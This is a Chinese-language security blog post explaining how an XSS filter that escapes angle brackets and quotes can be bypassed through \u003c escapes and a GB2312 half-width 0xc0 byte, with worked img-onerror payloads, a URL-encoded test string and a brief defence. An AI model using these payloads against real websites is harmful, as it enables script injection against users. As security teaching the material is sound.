XSS绕过

简介: 大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。 首先看一个JS的例子: 1 2     var s = "u003cu003e"; 3     alert(s); 4   运行这段代码,结果显示如下: 看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过u003c和u003e来代替。

大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<、>、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。

首先看一个JS的例子:

1 <script>
2     var s = "u003cu003e";
3     alert(s);
4 </script>

 

运行这段代码,结果显示如下:

看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过u003c和u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:

1 <div id='s'>
2 test
3 </div>
4 <script>
5     var s = "u003cimg src=1 onerror=alert(/xss/)u003e";
6     document.getElementById('s').innerHTML = s;
7 </script>

 

运行上面代码,结果显示如下:

在没有尖括号的情况下,成功实现了一个弹框的案例。

现在来设想一个更贴近实际开发情况的例子:
(1)这里我们用网络安全攻防研究室网站首页进行演示:http://www.91ri.org/ main.html,其代码为:

01 <div id="test">
02    aa
03 </div>
04 <script>    
05    function callback(obj)    
06    {        
07        document.getElementById("test").innerHTML = obj.name;    
08    }
09 </script>
10 <script src=http://www.victim.com/getcontent"></script>

 

(2)http://www.victim.com/getcontent返回的内容格式如下:

1 callback({"name":"xx"});

 

其中name的值是用户的昵称。

这个例子简单模拟了异步拉取信息并进行显示的情况。

现在假设用户的昵称为:

1 u003cimg src=1 onerror=alert(/xss/)u003e

 

那么会是什么情况呢?
首先getcontent返回的昵称应该是这样的:

1 \u003cimg src=1 onerror=alert(/xss/)\u003e

 

因为后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。
接着main.html的callback函数应该是等价于执行下面的语句:

1 document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";

 

显示的结果如下:

很遗憾,没有弹出框。原因是原来的转义序列u003c并没有生效,被添加的转义符转义掉了。

不过这里假设返回昵称时对进行了转义,但实际情况下,有时输出json格式数据时是没有对进行转义的,那样就会触发漏洞。

对于有对进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论:
对于gb2312编码,” [0xc0] “是一个合法的编码,显示为:”繺”。
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。

现在修改昵称为:

1 [0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

 
getcontent输出:

1 callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});

 
由于半字符[0xc0]的存在,在解释上述JS代码时,等价于:

1 callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});

 
可见,转义序列u003c终于又回来了,显示结果如下:

上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。
总结:

(1)  利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。
(2)  测试方法:截获请求包,修改参数为:

1 %c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e

 
(3)  防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。

编辑点评:关于xss绕过的方式有很多,不少程序员以及小黑都认为过滤了<、>、’、”,就真的安全的,实际来说,只要针对这些字符进行一定的转义,就能成功绕过!

目录
相关文章
|
JavaScript 安全 数据安全/隐私保护
dvwa下利用xss获取cookie并利用(绕过验证)
dvwa下利用xss获取cookie并利用(绕过验证)
797 0
|
移动开发 安全 JavaScript
XSS绕过安全狗方法【持续更新】
XSS绕过安全狗方法【持续更新】
417 0
|
存储 Web App开发 JavaScript
xss攻击、绕过最全总结
简述 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
2061 0
XSS三重URL编码绕过实例
遇到一个很奇葩的XSS,我们先来加一个双引号,看看输出:  双引号被转义了,我们对双引号进行URL双重编码,再看一下输出:  依然被转义了,我们再加一层URL编码,即三重url编码,再看一下输出:   URL编码被还原为双引号,并带入到html中输入。
2043 0
|
安全 内存技术 JavaScript
通过伪造内网网站绕过弹出窗口屏蔽、XSS过滤器以及Navigate方法
本文讲的是通过伪造内网网站绕过弹出窗口屏蔽、XSS过滤器以及Navigate方法,原来的问题是无域网页(即具有空的document.domains的url)可以访问到任何文档来源的DOM,所以微软对他们添加一个随机域(GUID)进行修补。
2341 0
|
JavaScript 安全 前端开发
如何绕过sop执行XSS盗取cookie并发送推文?
本文讲的是如何绕过sop执行XSS盗取cookie并发送推文?,先通过视频看看这个漏洞的威力吧,在第一个59秒的视频中,我们使用用户名为:Charles Darwin发送推文。在第二个两分钟的视频中,我们通过Edge默认密码管理器进行发送推文甚至查看用户密码。
1765 0
|
JavaScript 安全 Go
一种绕过 CSP 在 Twitter 子站中执行 XSS 的攻击
本文讲的是一种绕过 CSP 在 Twitter 子站中执行 XSS 的攻击,现在就开始讲述发现这一漏洞的过程,首先我对twitter进行了子域名收集,发现了https://careers.twitter.com这一网站,你可以在这一网站上向twitter投简历,找工作,不过我在这个网站寻找漏洞~
1610 0
|
JavaScript 安全 测试技术
|
JavaScript
让XSS攻击来得更猛烈些吧——一种新型的绕过XSS防御的方法
让XSS攻击来得更猛烈些吧                                             一种新型的绕过XSS防御的方法     大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。
1146 0